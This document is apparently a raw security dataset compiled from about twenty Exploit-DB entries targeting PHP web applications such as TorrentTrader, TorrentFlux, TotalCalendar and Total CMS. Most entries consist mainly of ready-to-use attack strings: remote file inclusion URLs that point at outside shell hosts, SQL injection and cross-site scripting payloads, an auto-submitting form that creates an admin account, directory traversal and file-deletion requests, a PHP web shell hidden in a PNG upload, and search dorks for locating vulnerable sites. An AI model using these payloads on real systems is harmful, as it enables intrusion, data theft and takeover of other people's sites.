deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2121
Description: Torbstoff News 4 - 'pfad' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: SHiKaA

Exploit:
#=================================================================
#Torbstoff News 4 <= (pfad) Remote File Inclusion Exploit
#================================================================
#                                                                |
#Critical Level : Dangerous                                      |
#                                                                |
#Venedor site : http://www.torbstoff.de                          |
#                                                                |
#Version : 4                                                     |
#                                                                |
#=================================================================
#
#Dork: "Torbstoff News 4"
#
#=================================================================
#Bug in : news.php
#
#Vlu Code :
#
#       include($pfad . "includes/config.inc.php");
#
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/news.php?pfad=http://SHELLURL.COM?
#
#===============================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Bl@Ck^B1rd Semsemmasr Black_Scorpion Medo_Ye7ya Kambaa  NANA Kashtawa
#Skiing Gendiaaa Saw AzIZa SnIpEr_Sa Masry OSA FEGLA 3amer
=================================================================

# milw0rm.com [2006-08-07]
Exploit-DB #34225
Description: TornadoStore 1.4.3 - SQL Injection / HTML Injection
Type: webapps
Platform: php
Date: 2010-06-29
Author: Lucas Apa

Exploit:
source: https://www.securityfocus.com/bid/41233/info

TornadoStore is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

TornadoStore 1.4.3 is vulnerable; other versions may be vulnerable. 

The following example URIs are available:

http://www.example.com/control/abm_list.php3?db=ts_143&tabla=delivery_courier&tabla_det=delivery_costo&order=&ordor=&tit=&transporte=&ira=&pagina=1&det_order=nDeCSer&det_ordor=asc&txtBuscar=&vars=&where='

http://www.example.com/precios.php3?marca=12'
Exploit-DB #12771
Description: Toronja CMS - HTML / Cross-Site Scripting Injection
Type: webapps
Platform: php
Date: 2010-05-27
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------

Toronja Cms HTML/XSS Injection Vulnerability
 
-------------------------------------------------------------------------------------------
 
Author : CoBRa_21

Script Home : http://www.toronja.com.pe/

Dork : intext:"sitio web diseñado por www.toronja.com.pe"

-------------------------------------------------------------------------------------------

HTML Injection:

http://localhost/[path]/index.php?plantilla=busqueda&txt_filtro=<font size=15 color=green>CoBRa_21</font>HTML

-------------------------------------------------------------------------------------------

XSS Injection:

http://localhost/[path]/index.php?plantilla=busqueda&txt_filtro=XSS

-------------------------------------------------------------------------------------------
Exploit-DB #12770
Description: Toronja CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-27
Author: cyberlog

Exploit:
===============================================
toronja cms SQL Injection Vulnerability
===============================================


               __                  __               
 .----..--.--.|  |--..-----..----.|  |.-----..-----.
 |  __||  |  ||  _  ||  -__||   _||  ||  _  ||  _  |
 |____||___  ||_____||_____||__|  |__||_____||___  |
       |_____|                               |_____|

####################################################
# toronja cms SQL Injection Vulnerability
####################################################
# Vendor:http://www.toronja.com.pe/
# Discovered by : cyberlog
# Site          : Sekuritionline.net
# Channel       : #SekuritiOnline [ Now Just My Bot ] :P

# Dork          : "sitio web diseñado por www.toronja.com.pe"
]

# Exploit       : [site]/index.php?plantilla=contenido_lista&ncategoria1=[SQL Injection]
                  [site]/interior.php?IDIOMA=SP&plantilla=contenido&ncategoria1=[SQL Injection]
                  
# Thanks        : r0073r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz,
                  jayoes,thesims,setiawan,irvian,EA_Angel,BlueSpy,SoEy,A-technique,Jantap,KiLL,blindboy,sukam,
                  SarifJedul,wiro gendeng,Letjen,ridho_bugs,Ryan Kabrutz,Mathews,aurel666,Inoef,dbanie,

# special to Mama Sri Rahayu, Member& Staff Sekuritonline, C0li a.k.a antisecurity [ pinjem script perl-na ] :),
# Hiroyuki Doni thanks to create New design SO T-shirt :)P 
# Inj3ct0r Now Brothers with Sekuritionline
                
####################################################
# Demo: 
# http://localhost/index.php?plantilla=contenido_lista&ncategoria1=[SQL Injection]

####################################################

We never die !!!! indonesian Underground Community
!!!!! anjing buat oknum Pemerintah yang suka nilep uang rakyat !!!
!!!!! anjing juga buat admin site indon3sia yang merasa sok h3bat, dikasih tahu ada hole malah nyolot !!!!!

KacrUt I h@te U :P [ jika kau tidak mau aku katakan LOv3 ]
Give me NOCAN Brothers :P
am nt hacker just Lik3 Syst3m S3curity

 .-----..-----.|  |--..--.--..----.|__||  |_ |__|.-----..-----.|  ||__|.-----..-----.
 |__ --||  -__||    < |  |  ||   _||  ||   _||  ||  _  ||     ||  ||  ||     ||  -__|
 |_____||_____||__|__||_____||__|  |__||____||__||_____||__|__||__||__||__|__||_____|
Exploit-DB #11746
Description: Torrent Hoster - Remount Upload
Type: webapps
Platform: php
Date: 2010-03-15
Author: EL-KAHINA

Exploit:
========================================================================================                  
| # Title    : Torrent Hoster Remont Upload Exploit           
| # Author   : El-Kahina                                                                                                                
| # Home     : www.h4kz.com                                                                              |                                                                                                                               
| # Script   : Powered by Torrent Hoster.     
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       
| # Bug      : Upload    
|                                                                  
======================      Exploit By El-Kahina       =================================
 # Exploit  : 
 
 1 - use tamper data :
 
 http://127.0.0.1/torrenthoster//torrents.php?mode=upload
 
 2- 
    <center>
   Powered by Torrent Hoster
        <br />
        <form enctype="multipart/form-data" action="http://127.0.0.1/torrenthoster/upload.php" id="form" method="post" onsubmit="a=document.getElementById('form').style;a.display='none';b=document.getElementById('part2').style;b.display='inline';" style="display: inline;">
        <strong>&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533; &#65533;&#65533;:</strong> <?php echo $maxfilesize; ?>&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;<br />
<br>
        <input type="file" name="upfile" size="50" /><br />
<input type="submit" value="&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;" id="upload" />
        </form>
        <div id="part2" style="display: none;">&#65533;&#65533;&#65533; &#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533; .. &#65533;&#65533; &#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;</div>
        </center>
        
3 - http://127.0.0.1/torrenthoster/torrents/  (to find shell)      
        
4 - Xss:

http://127.0.0.1/torrenthoster/users/forgot_password.php/>"><ScRiPt>alert[PII_REDACTED]8860)</ScRiPt>
       
==========================================
Greetz : Exploit-db Team 
all my friend :(Dz-Ghost Team ) 
im indoushka's sister
------------------------------------------
Exploit-DB #28867
Description: TorrentFlux 2.1 - 'dir.php' Directory Traversal
Type: webapps
Platform: php
Date: 2006-10-27
Author: Christopher

Exploit:
source: https://www.securityfocus.com/bid/20771/info

TorrentFlux is prone to a directory-traversal vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

TorrentFlux 2.1 is reported vulnerable; other versions may be affected as well.

http://www.example.com/torrentfluxroot/dir.php?dir=\.\./\.\./\.\./etc/
Exploit-DB #31671
Description: TorrentFlux 2.3 - 'admin.php' Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2008-04-18
Author: Michael Brooks

Exploit:
source: https://www.securityfocus.com/bid/28846/info

TorrentFlux is prone to a cross-site request-forgery vulnerability and a remote PHP code-execution vulnerability.

Exploiting these issues may allow a remote attacker to create administrative accounts in the application or to execute arbitrary PHP script code. This may facilitate the remote compromise of affected computers.

TorrentFlux 2.3 is vulnerable; other versions may also be affected.

<html> Add an admistrative account: <form id=?create_admin? method=?post? action=?http://localhost/torrentflux_2.3/html/admin.php?op=addUser?> <input type=hidden name=?newUser? value=?sadmin?> <input type=hidden name=?pass1&#8243; value=?password?> <input type=hidden name=?pass2&#8243; value=?password?> <input type=hidden name=?userType? value=1> <input type=submit value=?create admin?> </form> </html> <script> document.getElementById(?create_admin?).submit(); </script>
Exploit-DB #26549
Description: Torrential 1.2 - 'Getdox.php' Directory Traversal
Type: webapps
Platform: php
Date: 2005-11-22
Author: Shell

Exploit:
source: https://www.securityfocus.com/bid/15530/info

Torrential is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

An attacker can exploit this issue to retrieve arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

Torrential Version 1.2 is vulnerable; other versions may also be vulnerable. 

http://www.example.com/torrential/dox/getdox.php/../forums.php
http://www.example.com/torrential/dox/getdox.php/../../index.html
Exploit-DB #31328
Description: TorrentTrader 1.08 - 'msg' HTML Injection
Type: webapps
Platform: php
Date: 2008-03-03
Author: Dominus

Exploit:
source: https://www.securityfocus.com/bid/28082/info


TorrentTrader is prone to an HTML-injection vulnerability because it fails to adequately sanitize user-supplied input.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

NOTE: This BID was previously titled 'TorrentTrader 'msg' Parameter Cross Site Scripting Vulnerability'. Following further analysis, the title and multiple details throughout have been changed to better document the issue.

TorrentTrader Classic 1.08 is affected; other versions may also be vulnerable.

http://www.example.com/account-inbox.php?msg=<script>alert(document.co­okie)</script>&receiver=<username>
Exploit-DB #6698
Description: TorrentTrader Classic 1.04 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-10-07
Author: BazOka-HaCkEr

Exploit:
======================================================
 
==> TorrentTrader Classic <= 1.04 Blind SQL Injection Exploit
 
======================================================
 
==> NamE      : TorrentTrader Classic
 
==> version    : 1.04
 
==> Download : www.torrenttrader.org
 
======================================================
 
==> AuThOr : BazOka-HaCkEr
 
==> EmaiL   : x9j@HoTmaiL.Com
 
==> HomE   : WwW.TrYaG.cc/cc
 
======================================================
 
==> ExplO!te :
 
==> www.TarGeT.com/paTh/completed-advance.php?id=[SQL]
 
==> ExampLe :
 
==> www.TarGeT.com/tracker/completed-advance.php?id=180+AND ascii(SUBSTRING((SELECT Count(password) FROM users LIMIT 1,1)1,1)
 
======================================================
 
==> GreeTz :
 
==> ll Abu-Mahdi ll FeezO ll Mr.SQL ll MoGaTiL ll Abo-Najm ll alra7el ll
 
======================================================

# milw0rm.com [2008-10-07]
Exploit-DB #4500
Description: TorrentTrader Classic 1.07 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2007-10-08
Author: HACKERS PAL

Exploit:
TorrentTrader Classic Mutiple Remote vulnerabilities
Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@soqor.net

Tested on TorrentTrader Classic v1.07
local file inclusion
backend/admin-functions.php?ss_uri=dd
Xss
pjirc/css.php?color=<script>alert(document.cookie);</script>
browse.php?cat=<script>alert(document.cookie);</script>
# WwW.SoQoR.NeT

# milw0rm.com [2007-10-08]
Exploit-DB #31866
Description: TorrentTrader Classic 1.x - 'scrape.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-31
Author: Charles Vaughn

Exploit:
source: https://www.securityfocus.com/bid/29451/info

TorrentTrader Classic is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/scrape.php?info_hash=%22union%20select%201,1,1,1,ip%20from%20users--%20%20%20
Exploit-DB #8931
Description: TorrentVolve 1.4 - 'deleteTorrent' Delete Arbitrary File
Type: webapps
Platform: php
Date: 2009-06-11
Author: Br0ly

Exploit:
----------------------------------------------------------------------------------------------------

  Name : Torrent Volve
  Site : http://sourceforge.net/projects/torrentvolve/
  Down : http://sourceforge.net/project/showfiles.php?group_id=179905&package_id=207933&release_id=476030

----------------------------------------------------------------------------------------------------

 
  Found By : br0ly
  Made in  : Brasil
  Contact  : br0ly[dot]Code[at]gmail[dot]com

----------------------------------------------------------------------------------------------------

  Description:

  Bug : Delete Arbitrary file.
     
  Look this in: archive.php; Lines 194 - 199

  if(isset($_GET['deleteTorrent'])) {

                //delete Torrent from file system
                unlink($userDir . '/' . $_GET['deleteTorrent']);
                echo '  <div class="divStatus">' . $_GET['deleteTorrent'] . ' deleted.</div>' . "\n";
        }
 
  Then after login we can delete files, if you delete the configuration file you can install the script again.
 

----------------------------------------------------------------------------------------------------

  P0c:
 
    http://localhost/Scripts/torrentvolve/archive.php?deleteTorrent=../../../config/configuration.xml

  To install again go to:

    http://localhost/Scripts/torrentvolve/
   

  OBS: need register_globals=on;

----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-06-11]
Exploit-DB #3707
Description: TOSMO/Mambo 1.4.13a - 'absolute_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-11
Author: Cold Zero

Exploit:
=======================================================
Tosmo Mambo <= 4.0.12 (absolute_path) Multiple RFI Vulnerabilities
=======================================================
Found By : Cold z3ro , Cold-z3ro@hotmail.com
=======================================================
Homepage: www.Hack-Teach.com
=======================================================
Script Site :
http://www2.tutorial.hu/letoltes/dl.php?p=/scriptek/joomla/mambo.4.0.x&i=tosmo_mambo.zip
==============================================
File : /components/com_minibb.php
include("$absolute_path/components/minibb/bb_admin.php");
======
/components/com_minibb.php?absolute_path=http://nachrichtenmann.de/r57.txt?

========================================================

File : /components/minibb/bb_plugins.php

<?php
include ($absolute_path.'/components/minibb/hack_smilies.php');
?>
======
/components/minibb/bb_plugins.php?absolute_path=http://nachrichtenmann.de/r57.txt?
/components/com_minibb/bb_plugins.php?absolute_path=http://nachrichtenmann.de/r57.txt?
=======================================================

File : configuration.php?absolute_path=http://nachrichtenmann.de/r57.txt?
include_once("$absolute_path/version.php");
======
/configuration.php?absolute_path=http://nachrichtenmann.de/r57.txt?
=======================================================
#Long Life Palestine
#www.Hack-Teach.com

# milw0rm.com [2007-04-11]
Exploit-DB #51500
Description: Total CMS 1.7.4 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-06-04
Author: tmrswrr

Exploit:
# Exploit Title: Total CMS 1.7.4 - Remote Code Execution (RCE)
# Date: 02/06/2023
# Exploit Author: tmrswrr
# Version: 1.7.4
# Vendor home page : https://www.totalcms.co/

1) Go to this page and click edit page button
https://www.totalcms.co/demo/soccer/
2)After go down and will you see downloads area
3)Add in this area shell.php file


?PNG
...
<?php echo "<pre>";system($_REQUEST['cmd']);echo "</pre>"  ?>
IEND

4) After open this file and write commands

https://www.totalcms.co/cms-data/depot/cmssoccerdepot/shell.php?cmd=id
Result :

?PNG ...

uid=996(caddy) gid=998(caddy) groups=998(caddy),33(www-data)

IEND
Exploit-DB #37632
Description: Total Shop UK eCommerce CodeIgniter - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-13
Author: Chris Cooper

Exploit:
source: https://www.securityfocus.com/bid/54985/info

Total Shop UK eCommerce CodeIgniter is prone to multiple unspecified cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

CodeIgniter 2.1.2 is vulnerable; other versions may also be affected. 

Example 1 Request: +----------------- GET /?%00";};alert(String.fromCharCode(120,115,115,116,101,115,116 ));{//=1 HTTP/1.1 Host: www.example.com Referer: http://www.example.com/about --- Example 1 Response: +------------------ --- SNIP --- function refresh_page(){ parent.location="/?%00";};alert(String.fromCharCode(120,115,115 ,116,101,115,116));{//=1";
Exploit-DB #1753
Description: TotalCalendar 2.30 - 'inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-05
Author: Aesthetico

Exploit:
Title: TotalCalendar <=2.30 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: SweetPHP
URL: http://sweetphp.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "Powered by TotalCalendar"
-----------------------------------------------------------------

Exploitation:

/index.php?inc_dir=http://www.yourspace.com/yourscript.php?
/index.php?inc_dir=http://www.yourspace.com/yourscript.txt?&ls%20-laF

# milw0rm.com [2006-05-05]
Exploit-DB #8503
Description: TotalCalendar 2.4 - 'Include' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-04-21
Author: SirGod

Exploit:
##########################################################################################
[+] TotalCalendar 2.4 (include) Local File Inclusion
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
##########################################################################################

[+] Local File Inclusion

Vulnerable code in cms_detect.php:

-------------------------------------------------------------------------------
Line 26 : $include = isset($_REQUEST['include']) ? $_REQUEST['include'] : null;
Line 115 : if(!empty($include)) require_once($inc_dir.$include);
-------------------------------------------------------------------------------

  PoC :

   http://127.0.0.1/[path]/cms_detect.php?include=../../../../../../BOOTSECT.BAK

##########################################################################################

# milw0rm.com [2009-04-21]
Exploit-DB #8494
Description: TotalCalendar 2.4 - 'inc_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-04-20
Author: DarKdewiL

Exploit:
//***********************************************************************//
//**********************1 9 2 3 T U R K - G R U P************************//
//_______________________________________________________________________//
//-----------------------------------------------------------------------//

<--[+]-->
 
[~] Home Page : "http://www.simpoe.com/"
[~] Download : "http://www.simpoe.com/calendre/TotalCalendar_2.4.zip"
[~] ScriptName: "Simpoe Event Calendar"
[~] Date: "20/04/2009"
[~] Time: "18:38"

<--[!]-->

[+] Bugs : Remote File Include
[+] D0rk : Not Dork :(
[+] Author : DarKdewiL
[+] GroupWeb : www.1923turk.biz
[+] Contact : darkdewil@1923turk.biz

[!] Note : You're too important for anyone <1923Turk>
   
<--[-]-->

(+)Vuln:

http://www.sitename.com/calendre/config.php?inc_dir=ShellURL

OR

http://www.sitename.com/config.php?inc_dir=ShellURL

//***********************************************************************//
//***********************************************************************//
//***********************************************************************//

# milw0rm.com [2009-04-20]